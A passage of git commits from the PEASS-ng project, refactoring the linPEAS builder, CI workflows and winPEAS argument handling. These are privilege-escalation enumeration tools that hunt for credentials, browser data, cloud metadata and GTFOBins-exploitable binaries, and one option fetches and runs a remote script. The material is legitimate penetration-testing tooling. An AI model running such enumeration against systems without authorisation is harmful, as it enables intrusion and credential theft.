self.__replace_mark(SUIDVB2_MARKUP, suidVB[int(len(suidVB)/2):], "|") - self.__replace_mark(SUDOVB1_MARKUP, sudoVB[:int(len(sudoVB)/2)], "|") - self.__replace_mark(SUDOVB2_MARKUP, sudoVB[int(len(sudoVB)/2):], "|") - self.__replace_mark(CAP_SETUID_MARKUP, capsVB, "|") - self.__replace_mark(CAP_SETGID_MARKUP, capsVB, "|") + self.__replace_mark(SUIDVB1_MARKUP, suidVB[:int(len(suidVB)/2)], "|") + self.__replace_mark(SUIDVB2_MARKUP, suidVB[int(len(suidVB)/2):], "|") + self.__replace_mark(SUDOVB1_MARKUP, sudoVB[:int(len(sudoVB)/2)], "|") + self.__replace_mark(SUDOVB2_MARKUP, sudoVB[int(len(sudoVB)/2):], "|") + self.__replace_mark(CAP_SETUID_MARKUP, capsVB, "|") + self.__replace_mark(CAP_SETGID_MARKUP, capsVB, "|") print("[+] Final sanity checks...") #Check that there arent peass marks left in linpeas @@ -130,7 +133,7 @@ class LinpeasBuilder: assert 'sed -${E} "s,,' not in self.linpeas_sh def __get_peass_marks(self): - return re.findall(r'peass\{[\w\-\._ ]*\}', self.linpeas_sh) + return re.findall(r'peass\{[a-zA-Z0-9\-\._ ]*\}', self.linpeas_sh) def __generate_variables(self): @@ -331,36 +334,35 @@ class LinpeasBuilder: analise_line += 'done; echo "";' return analise_line - - - def __get_linux_exploit_suggesters(self) -> tuple: - r1 = requests.get("https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh") - r2 = requests.get("https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl") - return(base64.b64encode(bytes(r1.text, 'utf-8')).decode("utf-8"), base64.b64encode(bytes(r2.text, 'utf-8')).decode("utf-8")) def __get_bin(self, url, tar_gz="") -> str: os.system(f"wget -q '{url}' -O /tmp/bin_builder") if tar_gz: - os.system(f"cd /tmp; tar -xvzf /tmp/bin_builder; rm /tmp/bin_builder; mv {tar_gz} /tmp/bin_builder") - os.system("base64 /tmp/bin_builder | tr -d '\n' > /tmp/binb64; rm /tmp/bin_builder") + os.system(f"cd /tmp; tar -xvzf /tmp/bin_builder 2> /dev/null; rm /tmp/bin_builder; mv {tar_gz} /tmp/bin_builder") - b64bin = "" - with open("/tmp/binb64", "r") as f: - b64bin = f.read() - - os.system("rm /tmp/binb64") - return b64bin + with open("/tmp/bin_builder", "rb") as bin: + bin_b64 = base64.b64encode(bin.read()).decode('utf-8') + + os.remove("/tmp/bin_builder") + + return bin_b64 def __get_gtfobins_lists(self) -> tuple: r = requests.get("https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins") - bins = re.findall(r'_gtfobins/([\w_ \-]+).md', r.text) + bins = re.findall(r'_gtfobins/([a-zA-Z0-9_ \-]+).md', r.text) sudoVB = [] suidVB = [] capsVB = [] for b in bins: - rb = requests.get(f"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}.md") + try: + rb = requests.get(f"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}.md", timeout=5) + except: + try: + rb = requests.get(f"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}.md", timeout=5) + except: + rb = requests.get(f"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}.md", timeout=5) if "sudo:" in rb.text: sudoVB.append(b+"$") if "suid:" in rb.text: @@ -401,16 +403,9 @@ class LinpeasBuilder: self.linpeas_sh = self.linpeas_sh.replace(mark, join_char.join(find_calls)) #New line char is't needed - def write_linpeas(self, path, rm_startswith=""): + def write_linpeas(self, path): """Write on disk the final linpeas""" with open(path, "w") as f: - if not rm_startswith: - f.write(self.linpeas_sh) - else: - tmp_linpeas = "" - for line in self.linpeas_sh.splitlines(): - if not line.startswith(rm_startswith): - tmp_linpeas += line + "\n" - f.write(tmp_linpeas) + f.write(self.linpeas_sh) diff --git a/linPEAS/builder/src/linpeasModule.py b/linPEAS/builder/src/linpeasModule.py new file mode 100644 index 0000000..5dc0f5d --- /dev/null +++ b/linPEAS/builder/src/linpeasModule.py @@ -0,0 +1,229 @@ +import os +import re + +from .yamlGlobals import ( + LINPEAS_PARTS +) + +class LinpeasModule: + def __init__(self, path): + self.path = path + with open(path, 'r') as file: + self.module_text = file.read() + + self.sh_code = "" + self.is_check = False + self.is_function = False + self.is_variable = False + self.is_base = False + + if "/functions/" in path: + self.is_function = True + + elif "/variables/" in path: + self.is_variable = True + + elif "/linpeas_base/" in path: + self.is_base = True + + self.section_info = {} + if not (self.is_base or self.is_function or self.is_variable): + for module in LINPEAS_PARTS["modules"]: + if module["folder_path"] in path: + self.section_info = module + self.is_check = True + break + + if not (self.is_base or self.is_function or self.is_variable or self.is_check): + raise Exception(f"Module {path} doesn't belong to any section") + + for i,line in enumerate(self.module_text.splitlines()): + if i == 0: + if not line.startswith("# Title:"): + raise Exception(f"Wrong title in module {path}. It should start with '# Title: '") + self.title = line[8:].strip() + + elif i == 1: + if not line.startswith("# ID:"): + raise Exception(f"Wrong ID in module {path}. It should start with '# ID: '") + + self.id = line[5:].strip() + + if re.sub('^[0-9]+_', '', os.path.basename(path).replace(".sh", "")) not in [self.id, self.id[3:]]: + raise Exception(f"Wrong ID in module {path}. It should be the same as the filename") + + elif i == 2: + if not line.startswith("# Author:"): + raise Exception(f"Wrong author in module {path}. It should start with '# Author: '") + self.author = line[10:].strip() + + elif i == 3: + if not line.startswith("# Last Update:"): + raise Exception(f"Wrong last update in module {path}. It should start with '# Last Update: '") + self.last_update = line[15:].strip() + + elif i == 4: + if not line.startswith("# Description:"): + raise Exception(f"Wrong description in module {path}. It should start with '# Description: '") + self.description = line[15:].strip() + + elif i == 5: + if not line.startswith("# License:"): + raise Exception(f"Wrong license in module {path}. It should start with '# License: '") + + elif i == 6: + if not line.startswith("# Version:"): + raise Exception(f"Wrong version in module {path}. It should start with '# Version: '") + self.version = line[11:].strip() + + elif i == 7: + if not line.startswith("# Functions Used:"): + raise Exception(f"Wrong functions used in module {path}. It should start with '# Functions Used: '") + self.functions_used = line[17:].split(",") + self.functions_used = [f.strip() for f in self.functions_used if f.strip()] + + if "/variables/" in path and self.functions_used: + raise Exception(f"Variables shouldn't user functions, so functions in module {path} should be empty") + + elif i == 8: + if not line.startswith("# Global Variables:"): + raise Exception(f"Wrong global variables in module {path}. It should start with '# Global Variables: '") + self.global_variables = line[19:].split(",") + self.global_variables = [f.strip().replace("$", "") for f in self.global_variables if f.strip()] + + elif i == 9: + if not line.startswith("# Initial Functions:"): + raise Exception(f"Wrong initial functions in module {path}. It should start with '# Initial Functions: '") + self.initial_functions = line[20:].split(",") + self.initial_functions = [f.strip() for f in self.initial_functions if f.strip()] + + elif i == 10: + if not line.startswith("# Generated Global Variables:"): + raise Exception(f"Wrong generated global variables in module {path}. It should start with '# Generated Global Variables: '") + self.generated_global_variables = line[29:].split(",") + self.generated_global_variables = [f.strip().replace("$", "") for f in self.generated_global_variables if f.strip()] + + elif i == 11: + if not line.startswith("# Fat linpeas:"): + raise Exception(f"Wrong generated global variables in module {path}. It should start with '# Generated Global Variables: '") + self.is_fat = bool(int(line[15])) + + elif i == 12: + if not line.startswith("# Small linpeas:"): + raise Exception(f"Wrong generated global variables in module {path}. It should start with '# Generated Global Variables: '") + self.is_small = bool(int(line[17])) + + elif i == 13: + if line != "": + raise Exception(f"Wrong module {path}. Line 12 should be a new line") + + else: + self.sh_code += line + "\n" + + self.sh_code = self.sh_code.strip() + self.defined_funcs = self.extract_function_names() + + # Check if the indicated dependencies are actually being used + for func in self.functions_used: + if func not in self.sh_code and func not in self.initial_functions and not "peass{" in self.sh_code: + raise Exception(f"Used function '{func}' in module {path} doesn't exist in the final code") + + for var in self.global_variables: + if var not in self.sh_code and not "peass{" in self.sh_code: + raise Exception(f"Used variable '{var}' in module {path} doesn't exist in the final code") + + for var in self.generated_global_variables: + if var not in self.sh_code: + raise Exception(f"Generated variable '{var}' in module {path} doesn't exist in the final code") + + # Check for funcs and vars imported from itself + for func in self.defined_funcs: + if func in self.functions_used: + raise Exception(f"Function '{func}' in module {path} is imported from itself") + + for var in self.global_variables: + if var in self.generated_global_variables: + raise Exception(f"Variable '{var}' in module {path} is imported from itself") + + # Check if all variables are correctly defined + linux_global_vars = [ + "OPTARG", + "PID", + "PPID", + "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI", + "AWS_LAMBDA_RUNTIME_API", + "ECS_CONTAINER_METADATA_URI", + "ECS_CONTAINER_METADATA_URI_v4", + "IDENTITY_ENDPOINT", + "IDENTITY_HEADER", + "KUBERNETES_SERVICE_PORT_HTTPS", + "KUBERNETES_SERVICE_HOST" + ] + main_base = None + + # Base global variables don't need to be defined + if self.id != "BS_variables_base": + main_base = LinpeasModule(os.path.join(os.path.dirname(__file__), "..", "linpeas_parts", "linpeas_base", "0_variables_base.sh")) + + for var in self.extract_variables(self.sh_code): + if len(var) > 2 and not var in linux_global_vars and var not in self.global_variables and var not in self.generated_global_variables: + if not var.startswith("PSTORAGE_"): + if not main_base or var not in main_base.generated_global_variables: + raise Exception(f"Variable '{var}' in module {path} is not defined") + + + def __eq__(self, other): + # Check if other object is an instance of LinpeasModule + if isinstance(other, LinpeasModule): + return self.id == other.id + return NotImplemented # Return NotImplemented for unsupported comparisons + + def extract_function_names(self): + # This regular expression pattern matches function definitions in sh code + pattern = r'\b(\w+)\s*\(\s*\)\s*{' + return re.findall(pattern, self.sh_code) + + def extract_variables(self, sh_code): + # This regex pattern matches variables in the form $VAR_NAME or ${VAR_NAME} + pattern = r'\$({?([a-zA-Z_][a-zA-Z0-9_]*)}?)' + matches = re.findall(pattern, sh_code) + # Extract the variable name from each match + variables = [match[1] for match in matches] + return list(set(variables)) # Using set to remove duplicates + + +class LinpeasModuleList(list): + def __contains__(self, item): + # Check if item is already a LinpeasModule object. + if isinstance(item, LinpeasModule): + return super().__contains__(item) + + # Otherwise, treat the item as the id of a LinpeasModule. + for module in self: + if module.id == item: + return True + return False + + def index(self, item_id): + for index, module in enumerate(self): + if module.id == item_id: + return index + raise ValueError(f"{item_id} is not in the list") + + def remove(self, item): + # If item is an id, find the corresponding object first. + if not isinstance(item, LinpeasModule): + index = self.index(item) + super().pop(index) + else: + super().remove(item) + + def insert(self, index, item): + # Ensure that item is a LinpeasModule object before inserting. + if not isinstance(item, LinpeasModule): + raise ValueError("Item should be an instance of LinpeasModule") + super().insert(index, item) + + def copy(self): + return LinpeasModuleList(super().copy()) + \ No newline at end of file diff --git a/linPEAS/builder/src/yamlGlobals.py b/linPEAS/builder/src/yamlGlobals.py index 071c670..9f89eb3 100644 --- a/linPEAS/builder/src/yamlGlobals.py +++ b/linPEAS/builder/src/yamlGlobals.py @@ -10,62 +10,67 @@ os.system(target_file) CURRENT_DIR = os.path.dirname(os.path.realpath(__file__)) LINPEAS_BASE_PARTS = CURRENT_DIR + "/../linpeas_parts" -LINPEAS_PARTS = [ - { - "name": "System Information", - "name_check": "system_information", - "file_path": LINPEAS_BASE_PARTS + "/1_system_information.sh" - }, - { - "name": "Container", - "name_check": "container", - "file_path": LINPEAS_BASE_PARTS + "/2_container.sh" - }, - { - "name": "Cloud", - "name_check": "cloud", - "file_path": LINPEAS_BASE_PARTS + "/3_cloud.sh" - }, - { - "name": "Processes, Crons, Timers, Services and Sockets", - "name_check": "procs_crons_timers_srvcs_sockets", - "file_path": LINPEAS_BASE_PARTS + "/4_procs_crons_timers_srvcs_sockets.sh" - }, - { - "name": "Network Information", - "name_check": "network_information", - "file_path": LINPEAS_BASE_PARTS + "/5_network_information.sh" - }, - { - "name": "Users Information", - "name_check": "users_information", - "file_path": LINPEAS_BASE_PARTS + "/6_users_information.sh" - }, - { - "name": "Software Information", - "name_check": "software_information", - "file_path": LINPEAS_BASE_PARTS + "/7_software_information.sh" - }, - { - "name": "Files with Interesting Permissions", - "name_check": "interesting_perms_files", - "file_path": LINPEAS_BASE_PARTS + "/8_interesting_perms_files.sh" - }, - { - "name": "Other Interesting Files", - "name_check": "interesting_files", - "file_path": LINPEAS_BASE_PARTS + "/9_interesting_files.sh" - }, - { - "name": "API Keys Regex", - "name_check": "api_keys_regex", - "file_path": LINPEAS_BASE_PARTS + "/10_api_keys_regex.sh" - } -] +LINPEAS_PARTS = { + "functions": LINPEAS_BASE_PARTS + "/functions", + "variables": LINPEAS_BASE_PARTS + "/variables", + "base": LINPEAS_BASE_PARTS + "/linpeas_base", + "modules": [ + { + "name": "System Information", + "name_check": "system_information", + "folder_path": LINPEAS_BASE_PARTS + "/1_system_information" + }, + { + "name": "Container", + "name_check": "container", + "folder_path": LINPEAS_BASE_PARTS + "/2_container" + }, + { + "name": "Cloud", + "name_check": "cloud", + "folder_path": LINPEAS_BASE_PARTS + "/3_cloud" + }, + { + "name": "Processes, Crons, Timers, Services and Sockets", + "name_check": "procs_crons_timers_srvcs_sockets", + "folder_path": LINPEAS_BASE_PARTS + "/4_procs_crons_timers_srvcs_sockets" + }, + { + "name": "Network Information", + "name_check": "network_information", + "folder_path": LINPEAS_BASE_PARTS + "/5_network_information" + }, + { + "name": "Users Information", + "name_check": "users_information", + "folder_path": LINPEAS_BASE_PARTS + "/6_users_information" + }, + { + "name": "Software Information", + "name_check": "software_information", + "folder_path": LINPEAS_BASE_PARTS + "/7_software_information" + }, + { + "name": "Files with Interesting Permissions", + "name_check": "interesting_perms_files", + "folder_path": LINPEAS_BASE_PARTS + "/8_interesting_perms_files" + }, + { + "name": "Other Interesting Files", + "name_check": "interesting_files", + "folder_path": LINPEAS_BASE_PARTS + "/9_interesting_files" + }, + { + "name": "API Keys Regex", + "name_check": "api_keys_regex", + "folder_path": LINPEAS_BASE_PARTS + "/10_api_keys_regex" + } + ] +} LINPEAS_BASE_PATH = LINPEAS_BASE_PARTS + "/linpeas_base.sh" -TEMPORARY_LINPEAS_BASE_PATH = CURRENT_DIR + "/../linpeas_base.sh" +TEMPORARY_LINPEAS_BASE_PATH = CURRENT_DIR + "/../linpeas_base_tmp.sh" FINAL_FAT_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas_fat.sh" FINAL_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas.sh" YAML_NAME = "sensitive_files.yaml" @@ -114,10 +119,3 @@ SUDOVB2_MARKUP = YAML_LOADED["sudoVB2_markup"] CAP_SETUID_MARKUP = YAML_LOADED["cap_setuid_markup"] CAP_SETGID_MARKUP = YAML_LOADED["cap_setgid_markup"] -LES_MARKUP = YAML_LOADED["les_markup"] -LES2_MARKUP = YAML_LOADED["les2_markup"] - - -FAT_LINPEAS_AMICONTAINED_MARKUP = YAML_LOADED["fat_linpeas_amicontained_markup"] -FAT_LINPEAS_GITLEAKS_LINUX_MARKUP = YAML_LOADED["fat_linpeas_gitleaks_linux_markup"] -FAT_LINPEAS_GITLEAKS_MACOS_MARKUP = YAML_LOADED["fat_linpeas_gitleaks_macos_markup"] \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs index b440757..b0a406b 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs @@ -178,8 +178,8 @@ namespace winPEAS.Checks bool is_re_match = false; try { - // Escape backslashes in the regex string - string escapedRegex = regex_str.Trim().Replace(@"\", @"\\"); + // Escape backslashes in the regex string - I don't think this is needed anymore + //string escapedRegex = regex_str.Trim().Replace(@"\", @"\\"); // Use "IsMatch" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in "rgx.Matches" if (caseinsensitive) From a3fe115848faef74c0ae8b83732887c837731107 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Wed, 28 Aug 2024 00:02:29 +0200 Subject: [PATCH 41/69] update workflows --- .github/workflows/CI-master_tests.yml | 46 +++++++++++++++---------- .github/workflows/artifacts_cleanup.yml | 14 ++++++++ 2 files changed, 41 insertions(+), 19 deletions(-) create mode 100644 .github/workflows/artifacts_cleanup.yml diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index e7f4c80..1ab5054 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -4,6 +4,7 @@ on: push: branches: - master + - main paths-ignore: - '.github/**' @@ -139,12 +140,6 @@ jobs: with: name: winPEAS.bat path: winPEAS\winPEASbat\winPEAS.bat - - - name: Upload winpeas.ps1 - uses: actions/upload-artifact@v2 - with: - name: winPEAS.ps1 - path: winPEAS\winPEASps1\winPEAS.ps1 # Git add #- name: Create local changes @@ -189,7 +184,9 @@ jobs: run: | python3 -m pip install PyYAML cd linPEAS - python3 -m builder.linpeas_builder + python3 -m builder.linpeas_builder --all --output linpeas_fat.sh + python3 -m builder.linpeas_builder --all-no-fat --output linpeas.sh + python3 -m builder.linpeas_builder --small --output linpeas_small.sh # Build linpeas binaries - name: Build linpeas binaries @@ -207,35 +204,35 @@ jobs: # Run linpeas help as quick test - name: Run linpeas help - run: linPEAS/linpeas.sh -h + run: linPEAS/linpeas_fat.sh -h && linPEAS/linpeas.sh -h && linPEAS/linpeas_small.sh -h # Run linpeas as a test - name: Run linpeas system_information - run: linPEAS/linpeas.sh -o system_information -a + run: linPEAS/linpeas_fat.sh -o system_information -a - name: Run linpeas container - run: linPEAS/linpeas.sh -o container -a + run: linPEAS/linpeas_fat.sh -o container -a - name: Run linpeas cloud - run: linPEAS/linpeas.sh -o cloud -a + run: linPEAS/linpeas_fat.sh -o cloud -a - name: Run linpeas procs_crons_timers_srvcs_sockets - run: linPEAS/linpeas.sh -o procs_crons_timers_srvcs_sockets -a + run: linPEAS/linpeas_fat.sh -o procs_crons_timers_srvcs_sockets -a - name: Run linpeas network_information - run: linPEAS/linpeas.sh -o network_information -t -a + run: linPEAS/linpeas_fat.sh -o network_information -t -a - name: Run linpeas users_information - run: linPEAS/linpeas.sh -o users_information -a + run: linPEAS/linpeas_fat.sh -o users_information -a - name: Run linpeas software_information - run: linPEAS/linpeas.sh -o software_information -a + run: linPEAS/linpeas_fat.sh -o software_information -a - name: Run linpeas interesting_perms_files - run: linPEAS/linpeas.sh -o interesting_perms_files -a + run: linPEAS/linpeas_fat.sh -o interesting_perms_files -a - name: Run linpeas interesting_files - run: linPEAS/linpeas.sh -o interesting_files -a + run: linPEAS/linpeas_fat.sh -o interesting_files -a # Too much time #- name: Run linpeas api_keys_regex @@ -254,6 +251,12 @@ jobs: name: linpeas_fat.sh path: linPEAS/linpeas_fat.sh + - name: Upload linpeas_small.sh + uses: actions/upload-artifact@v2 + with: + name: linpeas_small.sh + path: linPEAS/linpeas_small.sh + ## Linux bins - name: Upload linpeas_linux_386 uses: actions/upload-artifact@v2 @@ -324,11 +327,11 @@ jobs: python3 -m pip install PyYAML --break-system-packages python3 -m pip install requests --break-system-packages cd linPEAS - python3 -m builder.linpeas_builder + python3 -m builder.linpeas_builder --all --output linpeas_fat.sh # Run linpeas help as quick test - name: Run macpeas help - run: linPEAS/linpeas.sh -h + run: linPEAS/linpeas_fat.sh -h # Run macpeas parts to test it #- name: Run macpeas @@ -385,6 +388,11 @@ jobs: uses: actions/download-artifact@v2 with: name: linpeas_fat.sh + + - name: Download linpeas_small.sh + uses: actions/download-artifact@v2 + with: + name: linpeas_small.sh - name: Download linpeas_linux_386 uses: actions/download-artifact@v2 diff --git a/.github/workflows/artifacts_cleanup.yml b/.github/workflows/artifacts_cleanup.yml new file mode 100644 index 0000000..e0ca0cf --- /dev/null +++ b/.github/workflows/artifacts_cleanup.yml @@ -0,0 +1,14 @@ +name: 'nightly artifacts cleanup' +on: + schedule: + - cron: '0 6 * * 2' # At 6am on Tuesdays + workflow_dispatch: + +jobs: + delete-artifacts: + runs-on: ubuntu-latest + steps: + - uses: kolpav/purge-artifacts-action@v1 + with: + token: ${{ secrets.GITHUB_TOKEN }} + expire-in: 1days # Set this to 0 to delete all artifacts From b3cd9417f87efef35c68b43aeafdbca06bf7be05 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Wed, 28 Aug 2024 00:06:09 +0200 Subject: [PATCH 42/69] fic --- winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs | 1 + 1 file changed, 1 insertion(+) diff --git a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs index b0a406b..ffc48d7 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs @@ -180,6 +180,7 @@ namespace winPEAS.Checks { // Escape backslashes in the regex string - I don't think this is needed anymore //string escapedRegex = regex_str.Trim().Replace(@"\", @"\\"); + string escapedRegex = regex_str.Trim(); // Use "IsMatch" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in "rgx.Matches" if (caseinsensitive) From bf00500bd1dbddc5602de11b256d41b2202489b6 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Wed, 28 Aug 2024 19:52:24 +0200 Subject: [PATCH 43/69] fileanalysis winpeas not default --- winPEAS/winPEASexe/winPEAS/Checks/Checks.cs | 20 +++++++++++++++++-- .../winPEASexe/winPEAS/Helpers/Beaprint.cs | 12 ++++++----- 2 files changed, 25 insertions(+), 7 deletions(-) diff --git a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs index 45e67d4..8a01dbf 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs @@ -90,14 +90,15 @@ namespace winPEAS.Checks new SystemCheck("servicesinfo", new ServicesInfo()), new SystemCheck("applicationsinfo", new ApplicationsInfo()), new SystemCheck("networkinfo", new NetworkInfo()), + new SystemCheck("cloudinfo", new CloudInfo()) new SystemCheck("windowscreds", new WindowsCreds()), new SystemCheck("browserinfo", new BrowserInfo()), new SystemCheck("filesinfo", new FilesInfo()), - new SystemCheck("fileanalysis", new FileAnalysis()), - new SystemCheck("cloudinfo", new CloudInfo()) + //new SystemCheck("fileanalysis", new FileAnalysis()), }; var systemCheckAllKeys = new HashSet(_systemChecks.Select(i => i.Key)); + var print_fileanalysis_warn = true; foreach (string arg in args) { @@ -110,6 +111,17 @@ namespace winPEAS.Checks return; } + if (string.Equals(arg, "fileanalysis", StringComparison.CurrentCultureIgnoreCase)) + { + print_fileanalysis_warn = false; + } + + if (string.Equals(arg, "all", StringComparison.CurrentCultureIgnoreCase)) + { + _systemChecks.Add(new SystemCheck("fileanalysis", new FileAnalysis())); + print_fileanalysis_warn = false; + } + if (arg.StartsWith("log", StringComparison.CurrentCultureIgnoreCase)) { // get logfile argument if present @@ -265,6 +277,10 @@ namespace winPEAS.Checks } } + if (print_fileanalysis_warn){ + Beaprint.ColorPrint(" [!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'fileanalysis' argument. Note that this search might take several minutes. For help, run winpeass.exe --help", Beaprint.YELLOW); + } + if (isAllChecks) { isFileSearchEnabled = true; diff --git a/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs b/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs index 8cbc17e..0a238a8 100644 --- a/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs +++ b/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs @@ -120,20 +120,22 @@ namespace winPEAS.Helpers public static void PrintUsage() { - Console.WriteLine(YELLOW + " [*] " + GREEN + "WinPEAS is a binary to enumerate possible paths to escalate privileges locally" + NOCOLOR); + Console.WriteLine(YELLOW + " [*] " + GREEN + "WinPEAS is a binary to enumerate possible paths to escalate privileges locally. By default it'll run all the following checks unless otherwise specified, but you could also indicate as arguments the names of the checks to run if you only want to run a few of them." + NOCOLOR); Console.WriteLine(LCYAN + " domain" + GRAY + " Enumerate domain information" + NOCOLOR); Console.WriteLine(LCYAN + " systeminfo" + GRAY + " Search system information" + NOCOLOR); + Console.WriteLine(LCYAN + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR); Console.WriteLine(LCYAN + " userinfo" + GRAY + " Search user information" + NOCOLOR); Console.WriteLine(LCYAN + " processinfo" + GRAY + " Search processes information" + NOCOLOR); Console.WriteLine(LCYAN + " servicesinfo" + GRAY + " Search services information" + NOCOLOR); Console.WriteLine(LCYAN + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR); Console.WriteLine(LCYAN + " networkinfo" + GRAY + " Search network information" + NOCOLOR); + Console.WriteLine(LCYAN + " cloudinfo" + GRAY + " Enumerate cloud information" + NOCOLOR); Console.WriteLine(LCYAN + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR); Console.WriteLine(LCYAN + " browserinfo" + GRAY + " Search browser information" + NOCOLOR); Console.WriteLine(LCYAN + " filesinfo" + GRAY + " Search generic files that can contains credentials" + NOCOLOR); - Console.WriteLine(LCYAN + " fileanalysis" + GRAY + " Search specific files that can contains credentials and for regexes inside files" + NOCOLOR); - Console.WriteLine(LCYAN + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR); - Console.WriteLine(LCYAN + " cloudinfo" + GRAY + " Enumerate cloud information" + NOCOLOR); + Console.WriteLine(LCYAN + " fileanalysis" + GRAY + " [NOT RUN BY DEFAULT] Search specific files that can contains credentials and for regexes inside files. Might take several minutes." + NOCOLOR); + Console.WriteLine(LCYAN + " all" + GRAY + " Run all checks the previous check including fileanalysis." + NOCOLOR); + Console.WriteLine(); Console.WriteLine(LCYAN + " quiet" + GRAY + " Do not print banner" + NOCOLOR); Console.WriteLine(LCYAN + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR); @@ -148,7 +150,7 @@ namespace winPEAS.Helpers Console.WriteLine(LCYAN + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR); Console.WriteLine(LCYAN + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" + $" (default: {Checks.Checks.LinpeasUrl})" + NOCOLOR); - Console.WriteLine(LCYAN + " -network" + GRAY + $" Run additional network scanning - find network interfaces, hosts and scan nmap top 1000 TCP ports for each host found\n" + + Console.WriteLine(LCYAN + " -network|-ports" + GRAY + $" Run additional network scanning - find network interfaces, hosts and scan nmap top 1000 TCP ports for each host found\n" + $" -network=\"auto\" - find interfaces/hosts automatically" + NOCOLOR + "\n" + $" -network=\"10.10.10.10,10.10.10.20\" - scan only selected ip address(es)" + NOCOLOR + "\n" + $" -network=\"10.10.10.10/24\" - scan host based on ip address/netmask" + NOCOLOR + "\n" + From 9408efbcd742488481142433cc340fdf314c844f Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Wed, 28 Aug 2024 20:01:03 +0200 Subject: [PATCH 44/69] fix --- winPEAS/winPEASexe/winPEAS/Checks/Checks.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs index 8a01dbf..b34059b 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs @@ -90,7 +90,7 @@ namespace winPEAS.Checks new SystemCheck("servicesinfo", new ServicesInfo()), new SystemCheck("applicationsinfo", new ApplicationsInfo()), new SystemCheck("networkinfo", new NetworkInfo()), - new SystemCheck("cloudinfo", new CloudInfo()) + new SystemCheck("cloudinfo", new CloudInfo()), new SystemCheck("windowscreds", new WindowsCreds()), new SystemCheck("browserinfo", new BrowserInfo()), new SystemCheck("filesinfo", new FilesInfo()), From 1a82bd8ee41b20d6559963d1c1b8ec8fa6edd814 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Wed, 28 Aug 2024 20:03:32 +0200 Subject: [PATCH 45/69] all arg --- winPEAS/winPEASexe/winPEAS/Checks/Checks.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs index b34059b..25af908 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs @@ -278,7 +278,7 @@ namespace winPEAS.Checks } if (print_fileanalysis_warn){ - Beaprint.ColorPrint(" [!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'fileanalysis' argument. Note that this search might take several minutes. For help, run winpeass.exe --help", Beaprint.YELLOW); + Beaprint.ColorPrint(" [!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'fileanalysis' or 'all' argument. Note that this search might take several minutes. For help, run winpeass.exe --help", Beaprint.YELLOW); } if (isAllChecks) From adc8e168a59c0a5ce8615275c846c824bfcd5958 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Wed, 28 Aug 2024 21:11:54 +0200 Subject: [PATCH 46/69] f --- winPEAS/winPEASexe/winPEAS/Checks/Checks.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs index 25af908..12ce311 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs @@ -94,7 +94,7 @@ namespace winPEAS.Checks new SystemCheck("windowscreds", new WindowsCreds()), new 